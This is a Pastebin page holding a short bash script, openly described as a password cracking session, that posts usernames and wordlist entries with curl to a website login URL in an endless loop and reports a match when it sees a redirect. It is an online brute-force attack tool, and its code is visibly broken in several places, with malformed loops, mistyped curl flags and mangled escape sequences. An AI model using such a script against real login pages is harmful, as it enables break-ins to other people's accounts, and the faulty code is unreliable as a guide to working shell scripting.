Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- echo -e "Initiating password cracking session...n"
- echo -e "Seconds per password attempt: c"
- read TIME
- if [ "$TIME" -lt "2" ];
- then
- echo -e "Servers may block out attempts when initiated too frequently, cracking session will begin anyways.n"
- fi
- if [ "$TIME" -gt "2" ];
- then
- echo -e "Cracking session will take too long to initiate. Session will continue anyways.n"
- fi
- function control_c {
- tput setaf 2; echo -en " Password cracking session deactivated.n"
- exit $?
- }
- trap control_c SIGINT
- for (( ; ; ))
- do
- url="https://examplewebsite.com/login"
- echo -e "Username: c"
- read user
- echo -e "Wordlist: c"
- read pass
- for user do
- for pass in pass do
- http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)
- if [[ $http_code -eq 302 ]]; then
- echo "Success: User: '$user' Pass: '$pass'"
- break 2
- fi
- done
- sleep $TIME
- done
- done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement